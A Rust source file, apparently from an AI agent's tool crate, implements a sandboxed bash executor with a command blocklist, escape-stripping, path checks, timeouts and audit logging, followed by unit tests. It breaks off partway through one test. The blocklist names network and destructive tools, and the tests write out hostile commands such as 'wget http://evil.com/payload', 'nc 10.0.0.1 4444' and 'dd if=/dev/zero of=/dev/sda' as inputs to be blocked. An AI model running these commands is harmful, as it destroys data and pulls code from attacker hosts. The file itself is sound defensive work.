Skip to main content

zeph_tools/
shell.rs

1use std::path::PathBuf;
2use std::time::{Duration, Instant};
3
4use tokio::process::Command;
5use tokio_util::sync::CancellationToken;
6
7use schemars::JsonSchema;
8use serde::Deserialize;
9
10use crate::audit::{AuditEntry, AuditLogger, AuditResult};
11use crate::config::ShellConfig;
12use crate::executor::{
13    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
14};
15use crate::filter::{OutputFilterRegistry, sanitize_output};
16use crate::permissions::{PermissionAction, PermissionPolicy};
17
18const DEFAULT_BLOCKED: &[&str] = &[
19    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
20    "reboot", "halt",
21];
22
23const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
24
25#[derive(Deserialize, JsonSchema)]
26pub(crate) struct BashParams {
27    /// The bash command to execute
28    command: String,
29}
30
31/// Bash block extraction and execution via `tokio::process::Command`.
32#[derive(Debug)]
33pub struct ShellExecutor {
34    timeout: Duration,
35    blocked_commands: Vec<String>,
36    allowed_paths: Vec<PathBuf>,
37    confirm_patterns: Vec<String>,
38    audit_logger: Option<AuditLogger>,
39    tool_event_tx: Option<ToolEventTx>,
40    permission_policy: Option<PermissionPolicy>,
41    output_filter_registry: Option<OutputFilterRegistry>,
42    cancel_token: Option<CancellationToken>,
43    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
44}
45
46impl ShellExecutor {
47    #[must_use]
48    pub fn new(config: &ShellConfig) -> Self {
49        let allowed: Vec<String> = config
50            .allowed_commands
51            .iter()
52            .map(|s| s.to_lowercase())
53            .collect();
54
55        let mut blocked: Vec<String> = DEFAULT_BLOCKED
56            .iter()
57            .filter(|s| !allowed.contains(&s.to_lowercase()))
58            .map(|s| (*s).to_owned())
59            .collect();
60        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
61
62        if !config.allow_network {
63            for cmd in NETWORK_COMMANDS {
64                let lower = cmd.to_lowercase();
65                if !blocked.contains(&lower) {
66                    blocked.push(lower);
67                }
68            }
69        }
70
71        blocked.sort();
72        blocked.dedup();
73
74        let allowed_paths = if config.allowed_paths.is_empty() {
75            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
76        } else {
77            config.allowed_paths.iter().map(PathBuf::from).collect()
78        };
79
80        Self {
81            timeout: Duration::from_secs(config.timeout),
82            blocked_commands: blocked,
83            allowed_paths,
84            confirm_patterns: config.confirm_patterns.clone(),
85            audit_logger: None,
86            tool_event_tx: None,
87            permission_policy: None,
88            output_filter_registry: None,
89            cancel_token: None,
90            skill_env: std::sync::RwLock::new(None),
91        }
92    }
93
94    /// Set environment variables to inject when executing the active skill's bash blocks.
95    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
96        match self.skill_env.write() {
97            Ok(mut guard) => *guard = env,
98            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
99        }
100    }
101
102    #[must_use]
103    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
104        self.audit_logger = Some(logger);
105        self
106    }
107
108    #[must_use]
109    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
110        self.tool_event_tx = Some(tx);
111        self
112    }
113
114    #[must_use]
115    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
116        self.permission_policy = Some(policy);
117        self
118    }
119
120    #[must_use]
121    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
122        self.cancel_token = Some(token);
123        self
124    }
125
126    #[must_use]
127    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
128        self.output_filter_registry = Some(registry);
129        self
130    }
131
132    /// Execute a bash block bypassing the confirmation check (called after user confirms).
133    ///
134    /// # Errors
135    ///
136    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
137    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
138        self.execute_inner(response, true).await
139    }
140
141    #[allow(clippy::too_many_lines)]
142    async fn execute_inner(
143        &self,
144        response: &str,
145        skip_confirm: bool,
146    ) -> Result<Option<ToolOutput>, ToolError> {
147        let blocks = extract_bash_blocks(response);
148        if blocks.is_empty() {
149            return Ok(None);
150        }
151
152        let mut outputs = Vec::with_capacity(blocks.len());
153        let mut cumulative_filter_stats: Option<FilterStats> = None;
154        #[allow(clippy::cast_possible_truncation)]
155        let blocks_executed = blocks.len() as u32;
156
157        for block in &blocks {
158            if let Some(ref policy) = self.permission_policy {
159                match policy.check("bash", block) {
160                    PermissionAction::Deny => {
161                        self.log_audit(
162                            block,
163                            AuditResult::Blocked {
164                                reason: "denied by permission policy".to_owned(),
165                            },
166                            0,
167                        )
168                        .await;
169                        return Err(ToolError::Blocked {
170                            command: (*block).to_owned(),
171                        });
172                    }
173                    PermissionAction::Ask if !skip_confirm => {
174                        return Err(ToolError::ConfirmationRequired {
175                            command: (*block).to_owned(),
176                        });
177                    }
178                    _ => {}
179                }
180            } else {
181                if let Some(blocked) = self.find_blocked_command(block) {
182                    self.log_audit(
183                        block,
184                        AuditResult::Blocked {
185                            reason: format!("blocked command: {blocked}"),
186                        },
187                        0,
188                    )
189                    .await;
190                    return Err(ToolError::Blocked {
191                        command: blocked.to_owned(),
192                    });
193                }
194
195                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
196                    return Err(ToolError::ConfirmationRequired {
197                        command: pattern.to_owned(),
198                    });
199                }
200            }
201
202            self.validate_sandbox(block)?;
203
204            if let Some(ref tx) = self.tool_event_tx {
205                let _ = tx.send(ToolEvent::Started {
206                    tool_name: "bash".to_owned(),
207                    command: (*block).to_owned(),
208                });
209            }
210
211            let start = Instant::now();
212            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
213                self.skill_env.read().ok().and_then(|g| g.clone());
214            let (out, exit_code) = execute_bash(
215                block,
216                self.timeout,
217                self.tool_event_tx.as_ref(),
218                self.cancel_token.as_ref(),
219                skill_env_snapshot.as_ref(),
220            )
221            .await;
222            if exit_code == 130
223                && self
224                    .cancel_token
225                    .as_ref()
226                    .is_some_and(CancellationToken::is_cancelled)
227            {
228                return Err(ToolError::Cancelled);
229            }
230            #[allow(clippy::cast_possible_truncation)]
231            let duration_ms = start.elapsed().as_millis() as u64;
232
233            let result = if out.contains("[error]") {
234                AuditResult::Error {
235                    message: out.clone(),
236                }
237            } else if out.contains("timed out") {
238                AuditResult::Timeout
239            } else {
240                AuditResult::Success
241            };
242            self.log_audit(block, result, duration_ms).await;
243
244            let sanitized = sanitize_output(&out);
245            let mut per_block_stats: Option<FilterStats> = None;
246            let filtered = if let Some(ref registry) = self.output_filter_registry {
247                match registry.apply(block, &sanitized, exit_code) {
248                    Some(fr) => {
249                        tracing::debug!(
250                            command = block,
251                            raw = fr.raw_chars,
252                            filtered = fr.filtered_chars,
253                            savings_pct = fr.savings_pct(),
254                            "output filter applied"
255                        );
256                        let block_fs = FilterStats {
257                            raw_chars: fr.raw_chars,
258                            filtered_chars: fr.filtered_chars,
259                            raw_lines: fr.raw_lines,
260                            filtered_lines: fr.filtered_lines,
261                            confidence: Some(fr.confidence),
262                            command: Some((*block).to_owned()),
263                        };
264                        let stats =
265                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
266                        stats.raw_chars += fr.raw_chars;
267                        stats.filtered_chars += fr.filtered_chars;
268                        stats.raw_lines += fr.raw_lines;
269                        stats.filtered_lines += fr.filtered_lines;
270                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
271                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
272                            (None, cur) => cur,
273                        });
274                        if stats.command.is_none() {
275                            stats.command = Some((*block).to_owned());
276                        }
277                        per_block_stats = Some(block_fs);
278                        fr.output
279                    }
280                    None => sanitized,
281                }
282            } else {
283                sanitized
284            };
285
286            if let Some(ref tx) = self.tool_event_tx {
287                let _ = tx.send(ToolEvent::Completed {
288                    tool_name: "bash".to_owned(),
289                    command: (*block).to_owned(),
290                    output: out.clone(),
291                    success: !out.contains("[error]"),
292                    filter_stats: per_block_stats,
293                    diff: None,
294                });
295            }
296            outputs.push(format!("$ {block}\n{filtered}"));
297        }
298
299        Ok(Some(ToolOutput {
300            tool_name: "bash".to_owned(),
301            summary: outputs.join("\n\n"),
302            blocks_executed,
303            filter_stats: cumulative_filter_stats,
304            diff: None,
305            streamed: self.tool_event_tx.is_some(),
306        }))
307    }
308
309    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
310        let cwd = std::env::current_dir().unwrap_or_default();
311
312        for token in extract_paths(code) {
313            if has_traversal(&token) {
314                return Err(ToolError::SandboxViolation { path: token });
315            }
316
317            let path = if token.starts_with('/') {
318                PathBuf::from(&token)
319            } else {
320                cwd.join(&token)
321            };
322            let canonical = path
323                .canonicalize()
324                .or_else(|_| std::path::absolute(&path))
325                .unwrap_or(path);
326            if !self
327                .allowed_paths
328                .iter()
329                .any(|allowed| canonical.starts_with(allowed))
330            {
331                return Err(ToolError::SandboxViolation {
332                    path: canonical.display().to_string(),
333                });
334            }
335        }
336        Ok(())
337    }
338
339    fn find_blocked_command(&self, code: &str) -> Option<&str> {
340        let cleaned = strip_shell_escapes(&code.to_lowercase());
341        let commands = tokenize_commands(&cleaned);
342        for blocked in &self.blocked_commands {
343            for cmd_tokens in &commands {
344                if tokens_match_pattern(cmd_tokens, blocked) {
345                    return Some(blocked.as_str());
346                }
347            }
348        }
349        None
350    }
351
352    fn find_confirm_command(&self, code: &str) -> Option<&str> {
353        let normalized = code.to_lowercase();
354        for pattern in &self.confirm_patterns {
355            if normalized.contains(pattern.as_str()) {
356                return Some(pattern.as_str());
357            }
358        }
359        None
360    }
361
362    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
363        if let Some(ref logger) = self.audit_logger {
364            let entry = AuditEntry {
365                timestamp: chrono_now(),
366                tool: "shell".into(),
367                command: command.into(),
368                result,
369                duration_ms,
370            };
371            logger.log(&entry).await;
372        }
373    }
374}
375
376impl ToolExecutor for ShellExecutor {
377    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
378        self.execute_inner(response, false).await
379    }
380
381    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
382        use crate::registry::{InvocationHint, ToolDef};
383        vec![ToolDef {
384            id: "bash",
385            description: "Execute a shell command",
386            schema: schemars::schema_for!(BashParams),
387            invocation: InvocationHint::FencedBlock("bash"),
388        }]
389    }
390
391    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
392        if call.tool_id != "bash" {
393            return Ok(None);
394        }
395        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
396        if params.command.is_empty() {
397            return Ok(None);
398        }
399        let command = &params.command;
400        // Wrap as a fenced block so execute_inner can extract and run it
401        let synthetic = format!("```bash\n{command}\n```");
402        self.execute_inner(&synthetic, false).await
403    }
404
405    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
406        ShellExecutor::set_skill_env(self, env);
407    }
408}
409
410/// Strip shell escape sequences that could bypass command detection.
411/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
412/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
413fn strip_shell_escapes(input: &str) -> String {
414    let mut out = String::with_capacity(input.len());
415    let bytes = input.as_bytes();
416    let mut i = 0;
417    while i < bytes.len() {
418        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
419        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
420            let mut j = i + 2; // points after $'
421            let mut decoded = String::new();
422            let mut valid = false;
423            while j < bytes.len() && bytes[j] != b'\'' {
424                if bytes[j] == b'\\' && j + 1 < bytes.len() {
425                    let next = bytes[j + 1];
426                    if next == b'x' && j + 3 < bytes.len() {
427                        // \xNN hex escape
428                        let hi = (bytes[j + 2] as char).to_digit(16);
429                        let lo = (bytes[j + 3] as char).to_digit(16);
430                        if let (Some(h), Some(l)) = (hi, lo) {
431                            #[allow(clippy::cast_possible_truncation)]
432                            let byte = ((h << 4) | l) as u8;
433                            decoded.push(byte as char);
434                            j += 4;
435                            valid = true;
436                            continue;
437                        }
438                    } else if next.is_ascii_digit() {
439                        // \NNN octal escape (up to 3 digits)
440                        let mut val = u32::from(next - b'0');
441                        let mut len = 2; // consumed \N so far
442                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
443                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
444                            len = 3;
445                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
446                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
447                                len = 4;
448                            }
449                        }
450                        #[allow(clippy::cast_possible_truncation)]
451                        decoded.push((val & 0xFF) as u8 as char);
452                        j += len;
453                        valid = true;
454                        continue;
455                    }
456                    // other \X escape: emit X literally
457                    decoded.push(next as char);
458                    j += 2;
459                } else {
460                    decoded.push(bytes[j] as char);
461                    j += 1;
462                }
463            }
464            if j < bytes.len() && bytes[j] == b'\'' && valid {
465                out.push_str(&decoded);
466                i = j + 1;
467                continue;
468            }
469            // not a decodable $'...' sequence — fall through to handle as regular chars
470        }
471        // backslash-newline continuation: remove both
472        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
473            i += 2;
474            continue;
475        }
476        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
477        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
478            i += 1;
479            out.push(bytes[i] as char);
480            i += 1;
481            continue;
482        }
483        // quoted segment stripping: collapse adjacent quoted segments
484        if bytes[i] == b'"' || bytes[i] == b'\'' {
485            let quote = bytes[i];
486            i += 1;
487            while i < bytes.len() && bytes[i] != quote {
488                out.push(bytes[i] as char);
489                i += 1;
490            }
491            if i < bytes.len() {
492                i += 1; // skip closing quote
493            }
494            continue;
495        }
496        out.push(bytes[i] as char);
497        i += 1;
498    }
499    out
500}
501
502/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
503/// Returns list of sub-commands, each as `Vec<String>` of tokens.
504fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
505    // Replace two-char operators with a single separator, then split on single-char separators
506    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
507    replaced
508        .split([';', '|', '\n'])
509        .map(|seg| {
510            seg.split_whitespace()
511                .map(str::to_owned)
512                .collect::<Vec<String>>()
513        })
514        .filter(|tokens| !tokens.is_empty())
515        .collect()
516}
517
518/// Transparent prefix commands that invoke the next argument as a command.
519/// Skipped when determining the "real" command name being invoked.
520const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
521
522/// Return the basename of a token (last path component after '/').
523fn cmd_basename(tok: &str) -> &str {
524    tok.rsplit('/').next().unwrap_or(tok)
525}
526
527/// Check if the first tokens of a sub-command match a blocked pattern.
528/// Handles:
529/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
530/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
531/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
532/// - Multi-word patterns (`rm -rf /` joined prefix check)
533fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
534    if tokens.is_empty() || pattern.is_empty() {
535        return false;
536    }
537    let pattern = pattern.trim();
538    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
539    if pattern_tokens.is_empty() {
540        return false;
541    }
542
543    // Skip transparent prefix tokens to reach the real command
544    let start = tokens
545        .iter()
546        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
547        .unwrap_or(0);
548    let effective = &tokens[start..];
549    if effective.is_empty() {
550        return false;
551    }
552
553    if pattern_tokens.len() == 1 {
554        let pat = pattern_tokens[0];
555        let base = cmd_basename(&effective[0]);
556        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
557        base == pat || base.starts_with(&format!("{pat}."))
558    } else {
559        // Multi-word: join first N tokens (using basename for first) and check prefix
560        let n = pattern_tokens.len().min(effective.len());
561        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
562        parts.extend(effective[1..n].iter().map(String::as_str));
563        let joined = parts.join(" ");
564        if joined.starts_with(pattern) {
565            return true;
566        }
567        if effective.len() > n {
568            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
569            parts2.extend(effective[1..=n].iter().map(String::as_str));
570            parts2.join(" ").starts_with(pattern)
571        } else {
572            false
573        }
574    }
575}
576
577fn extract_paths(code: &str) -> Vec<String> {
578    let mut result = Vec::new();
579
580    // Tokenize respecting single/double quotes
581    let mut tokens: Vec<String> = Vec::new();
582    let mut current = String::new();
583    let mut chars = code.chars().peekable();
584    while let Some(c) = chars.next() {
585        match c {
586            '"' | '\'' => {
587                let quote = c;
588                while let Some(&nc) = chars.peek() {
589                    if nc == quote {
590                        chars.next();
591                        break;
592                    }
593                    current.push(chars.next().unwrap());
594                }
595            }
596            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
597                if !current.is_empty() {
598                    tokens.push(std::mem::take(&mut current));
599                }
600            }
601            _ => current.push(c),
602        }
603    }
604    if !current.is_empty() {
605        tokens.push(current);
606    }
607
608    for token in tokens {
609        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
610        if trimmed.is_empty() {
611            continue;
612        }
613        if trimmed.starts_with('/')
614            || trimmed.starts_with("./")
615            || trimmed.starts_with("../")
616            || trimmed == ".."
617        {
618            result.push(trimmed);
619        }
620    }
621    result
622}
623
624fn has_traversal(path: &str) -> bool {
625    path.split('/').any(|seg| seg == "..")
626}
627
628fn extract_bash_blocks(text: &str) -> Vec<&str> {
629    crate::executor::extract_fenced_blocks(text, "bash")
630}
631
632fn chrono_now() -> String {
633    use std::time::{SystemTime, UNIX_EPOCH};
634    let secs = SystemTime::now()
635        .duration_since(UNIX_EPOCH)
636        .unwrap_or_default()
637        .as_secs();
638    format!("{secs}")
639}
640
641/// Kill a child process and its descendants.
642/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
643/// killing the parent, preventing zombie subprocesses.
644async fn kill_process_tree(child: &mut tokio::process::Child) {
645    #[cfg(unix)]
646    if let Some(pid) = child.id() {
647        let _ = Command::new("pkill")
648            .args(["-KILL", "-P", &pid.to_string()])
649            .status()
650            .await;
651    }
652    let _ = child.kill().await;
653}
654
655async fn execute_bash(
656    code: &str,
657    timeout: Duration,
658    event_tx: Option<&ToolEventTx>,
659    cancel_token: Option<&CancellationToken>,
660    extra_env: Option<&std::collections::HashMap<String, String>>,
661) -> (String, i32) {
662    use std::process::Stdio;
663    use tokio::io::{AsyncBufReadExt, BufReader};
664
665    let timeout_secs = timeout.as_secs();
666
667    let mut cmd = Command::new("bash");
668    cmd.arg("-c")
669        .arg(code)
670        .stdout(Stdio::piped())
671        .stderr(Stdio::piped());
672    if let Some(env) = extra_env {
673        cmd.envs(env);
674    }
675    let child_result = cmd.spawn();
676
677    let mut child = match child_result {
678        Ok(c) => c,
679        Err(e) => return (format!("[error] {e}"), 1),
680    };
681
682    let stdout = child.stdout.take().expect("stdout piped");
683    let stderr = child.stderr.take().expect("stderr piped");
684
685    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
686
687    let stdout_tx = line_tx.clone();
688    tokio::spawn(async move {
689        let mut reader = BufReader::new(stdout);
690        let mut buf = String::new();
691        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
692            let _ = stdout_tx.send(buf.clone()).await;
693            buf.clear();
694        }
695    });
696
697    tokio::spawn(async move {
698        let mut reader = BufReader::new(stderr);
699        let mut buf = String::new();
700        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
701            let _ = line_tx.send(format!("[stderr] {buf}")).await;
702            buf.clear();
703        }
704    });
705
706    let mut combined = String::new();
707    let deadline = tokio::time::Instant::now() + timeout;
708
709    loop {
710        tokio::select! {
711            line = line_rx.recv() => {
712                match line {
713                    Some(chunk) => {
714                        if let Some(tx) = event_tx {
715                            let _ = tx.send(ToolEvent::OutputChunk {
716                                tool_name: "bash".to_owned(),
717                                command: code.to_owned(),
718                                chunk: chunk.clone(),
719                            });
720                        }
721                        combined.push_str(&chunk);
722                    }
723                    None => break,
724                }
725            }
726            () = tokio::time::sleep_until(deadline) => {
727                kill_process_tree(&mut child).await;
728                return (format!("[error] command timed out after {timeout_secs}s"), 1);
729            }
730            () = async {
731                match cancel_token {
732                    Some(t) => t.cancelled().await,
733                    None => std::future::pending().await,
734                }
735            } => {
736                kill_process_tree(&mut child).await;
737                return ("[cancelled] operation aborted".to_string(), 130);
738            }
739        }
740    }
741
742    let status = child.wait().await;
743    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
744
745    if combined.is_empty() {
746        ("(no output)".to_string(), exit_code)
747    } else {
748        (combined, exit_code)
749    }
750}
751
752#[cfg(test)]
753mod tests {
754    use super::*;
755
756    fn default_config() -> ShellConfig {
757        ShellConfig {
758            timeout: 30,
759            blocked_commands: Vec::new(),
760            allowed_commands: Vec::new(),
761            allowed_paths: Vec::new(),
762            allow_network: true,
763            confirm_patterns: Vec::new(),
764        }
765    }
766
767    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
768        ShellConfig {
769            allowed_paths,
770            ..default_config()
771        }
772    }
773
774    #[test]
775    fn extract_single_bash_block() {
776        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
777        let blocks = extract_bash_blocks(text);
778        assert_eq!(blocks, vec!["echo hello"]);
779    }
780
781    #[test]
782    fn extract_multiple_bash_blocks() {
783        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
784        let blocks = extract_bash_blocks(text);
785        assert_eq!(blocks, vec!["ls", "pwd"]);
786    }
787
788    #[test]
789    fn ignore_non_bash_blocks() {
790        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
791        let blocks = extract_bash_blocks(text);
792        assert_eq!(blocks, vec!["echo hi"]);
793    }
794
795    #[test]
796    fn no_blocks_returns_none() {
797        let text = "Just plain text, no code blocks.";
798        let blocks = extract_bash_blocks(text);
799        assert!(blocks.is_empty());
800    }
801
802    #[test]
803    fn unclosed_block_ignored() {
804        let text = "```bash\necho hello";
805        let blocks = extract_bash_blocks(text);
806        assert!(blocks.is_empty());
807    }
808
809    #[tokio::test]
810    #[cfg(not(target_os = "windows"))]
811    async fn execute_simple_command() {
812        let (result, code) =
813            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
814        assert!(result.contains("hello"));
815        assert_eq!(code, 0);
816    }
817
818    #[tokio::test]
819    #[cfg(not(target_os = "windows"))]
820    async fn execute_stderr_output() {
821        let (result, _) =
822            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
823        assert!(result.contains("[stderr]"));
824        assert!(result.contains("err"));
825    }
826
827    #[tokio::test]
828    #[cfg(not(target_os = "windows"))]
829    async fn execute_stdout_and_stderr_combined() {
830        let (result, _) = execute_bash(
831            "echo out && echo err >&2",
832            Duration::from_secs(30),
833            None,
834            None,
835            None,
836        )
837        .await;
838        assert!(result.contains("out"));
839        assert!(result.contains("[stderr]"));
840        assert!(result.contains("err"));
841        assert!(result.contains('\n'));
842    }
843
844    #[tokio::test]
845    #[cfg(not(target_os = "windows"))]
846    async fn execute_empty_output() {
847        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
848        assert_eq!(result, "(no output)");
849        assert_eq!(code, 0);
850    }
851
852    #[tokio::test]
853    async fn blocked_command_rejected() {
854        let config = ShellConfig {
855            blocked_commands: vec!["rm -rf /".to_owned()],
856            ..default_config()
857        };
858        let executor = ShellExecutor::new(&config);
859        let response = "Run:\n```bash\nrm -rf /\n```";
860        let result = executor.execute(response).await;
861        assert!(matches!(result, Err(ToolError::Blocked { .. })));
862    }
863
864    #[tokio::test]
865    #[cfg(not(target_os = "windows"))]
866    async fn timeout_enforced() {
867        let config = ShellConfig {
868            timeout: 1,
869            ..default_config()
870        };
871        let executor = ShellExecutor::new(&config);
872        let response = "Run:\n```bash\nsleep 60\n```";
873        let result = executor.execute(response).await;
874        assert!(result.is_ok());
875        let output = result.unwrap().unwrap();
876        assert!(output.summary.contains("timed out"));
877    }
878
879    #[tokio::test]
880    async fn execute_no_blocks_returns_none() {
881        let executor = ShellExecutor::new(&default_config());
882        let result = executor.execute("plain text, no blocks").await;
883        assert!(result.is_ok());
884        assert!(result.unwrap().is_none());
885    }
886
887    #[tokio::test]
888    async fn execute_multiple_blocks_counted() {
889        let executor = ShellExecutor::new(&default_config());
890        let response = "```bash\necho one\n```\n```bash\necho two\n```";
891        let result = executor.execute(response).await;
892        let output = result.unwrap().unwrap();
893        assert_eq!(output.blocks_executed, 2);
894        assert!(output.summary.contains("one"));
895        assert!(output.summary.contains("two"));
896    }
897
898    // --- command filtering tests ---
899
900    #[test]
901    fn default_blocked_always_active() {
902        let executor = ShellExecutor::new(&default_config());
903        assert!(executor.find_blocked_command("rm -rf /").is_some());
904        assert!(executor.find_blocked_command("sudo apt install").is_some());
905        assert!(
906            executor
907                .find_blocked_command("mkfs.ext4 /dev/sda")
908                .is_some()
909        );
910        assert!(
911            executor
912                .find_blocked_command("dd if=/dev/zero of=disk")
913                .is_some()
914        );
915    }
916
917    #[test]
918    fn user_blocked_additive() {
919        let config = ShellConfig {
920            blocked_commands: vec!["custom-danger".to_owned()],
921            ..default_config()
922        };
923        let executor = ShellExecutor::new(&config);
924        assert!(executor.find_blocked_command("sudo rm").is_some());
925        assert!(
926            executor
927                .find_blocked_command("custom-danger script")
928                .is_some()
929        );
930    }
931
932    #[test]
933    fn blocked_prefix_match() {
934        let executor = ShellExecutor::new(&default_config());
935        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
936    }
937
938    #[test]
939    fn blocked_infix_match() {
940        let executor = ShellExecutor::new(&default_config());
941        assert!(
942            executor
943                .find_blocked_command("echo hello && sudo rm")
944                .is_some()
945        );
946    }
947
948    #[test]
949    fn blocked_case_insensitive() {
950        let executor = ShellExecutor::new(&default_config());
951        assert!(executor.find_blocked_command("SUDO apt install").is_some());
952        assert!(executor.find_blocked_command("Sudo apt install").is_some());
953        assert!(executor.find_blocked_command("SuDo apt install").is_some());
954        assert!(
955            executor
956                .find_blocked_command("MKFS.ext4 /dev/sda")
957                .is_some()
958        );
959        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
960        assert!(executor.find_blocked_command("RM -RF /").is_some());
961    }
962
963    #[test]
964    fn safe_command_passes() {
965        let executor = ShellExecutor::new(&default_config());
966        assert!(executor.find_blocked_command("echo hello").is_none());
967        assert!(executor.find_blocked_command("ls -la").is_none());
968        assert!(executor.find_blocked_command("cat file.txt").is_none());
969        assert!(executor.find_blocked_command("cargo build").is_none());
970    }
971
972    #[test]
973    fn partial_match_accepted_tradeoff() {
974        let executor = ShellExecutor::new(&default_config());
975        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
976        assert!(executor.find_blocked_command("sudoku").is_none());
977    }
978
979    #[test]
980    fn multiline_command_blocked() {
981        let executor = ShellExecutor::new(&default_config());
982        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
983    }
984
985    #[test]
986    fn dd_pattern_blocks_dd_if() {
987        let executor = ShellExecutor::new(&default_config());
988        assert!(
989            executor
990                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
991                .is_some()
992        );
993    }
994
995    #[test]
996    fn mkfs_pattern_blocks_variants() {
997        let executor = ShellExecutor::new(&default_config());
998        assert!(
999            executor
1000                .find_blocked_command("mkfs.ext4 /dev/sda")
1001                .is_some()
1002        );
1003        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1004    }
1005
1006    #[test]
1007    fn empty_command_not_blocked() {
1008        let executor = ShellExecutor::new(&default_config());
1009        assert!(executor.find_blocked_command("").is_none());
1010    }
1011
1012    #[test]
1013    fn duplicate_patterns_deduped() {
1014        let config = ShellConfig {
1015            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1016            ..default_config()
1017        };
1018        let executor = ShellExecutor::new(&config);
1019        let count = executor
1020            .blocked_commands
1021            .iter()
1022            .filter(|c| c.as_str() == "sudo")
1023            .count();
1024        assert_eq!(count, 1);
1025    }
1026
1027    #[tokio::test]
1028    async fn execute_default_blocked_returns_error() {
1029        let executor = ShellExecutor::new(&default_config());
1030        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1031        let result = executor.execute(response).await;
1032        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1033    }
1034
1035    #[tokio::test]
1036    async fn execute_case_insensitive_blocked() {
1037        let executor = ShellExecutor::new(&default_config());
1038        let response = "Run:\n```bash\nSUDO apt install foo\n```";
1039        let result = executor.execute(response).await;
1040        assert!(matches!(result, Err(ToolError::Blocked { .. })));
1041    }
1042
1043    // --- network exfiltration patterns ---
1044
1045    #[test]
1046    fn network_exfiltration_blocked() {
1047        let executor = ShellExecutor::new(&default_config());
1048        assert!(
1049            executor
1050                .find_blocked_command("curl https://evil.com")
1051                .is_some()
1052        );
1053        assert!(
1054            executor
1055                .find_blocked_command("wget http://evil.com/payload")
1056                .is_some()
1057        );
1058        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1059        assert!(
1060            executor
1061                .find_blocked_command("ncat --listen 8080")
1062                .is_some()
1063        );
1064        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1065    }
1066
1067    #[test]
1068    fn system_control_blocked() {
1069        let executor = ShellExecutor::new(&default_config());
